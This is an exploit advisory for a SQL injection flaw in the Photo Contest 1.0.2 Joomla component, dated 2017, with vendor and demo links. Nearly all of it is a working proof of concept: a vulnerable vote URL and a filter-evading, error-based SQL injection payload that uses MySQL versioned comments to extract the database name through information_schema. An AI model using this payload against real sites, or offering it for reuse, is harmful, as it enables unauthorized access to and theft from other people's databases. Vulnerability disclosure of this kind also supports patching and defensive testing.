Joomla Photo Contest 1.0.2 SQL Injection Vulnerability

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# Exploit Title: Joomla! Component Photo Contest 1.0.2- SQL Injection
# Dork: N/A
# Date: 25.08.2017
# Vendor Homepage: http://keenitsolution.com/
# Software Link: https://codecanyon.net/item/photo-contest-joomla-extension/13268866
# Demo: http://photo.keenitsolution.com/
# Version: 1.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept:
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# http://localhost/[PATH]/photo-contest/photocontest/vote?controller=photocontest&vid=[SQL]
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# 1'aND+(/*!22200sEleCT*/+1+/*!22200FrOM*/+(/*!22200sEleCT*/+cOUNT(*),/*!22200CoNCAt*/((/*!22200sEleCT*/(/*!22200sEleCT*/+/*!22200CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!22200FrOM*/+infOrMation_schEma.tables+where+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!22200FrOM*/+infOrMation_schEma.tABLES+/*!22200gROUP*/+bY+x)a)+aND+''='
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# Etc..
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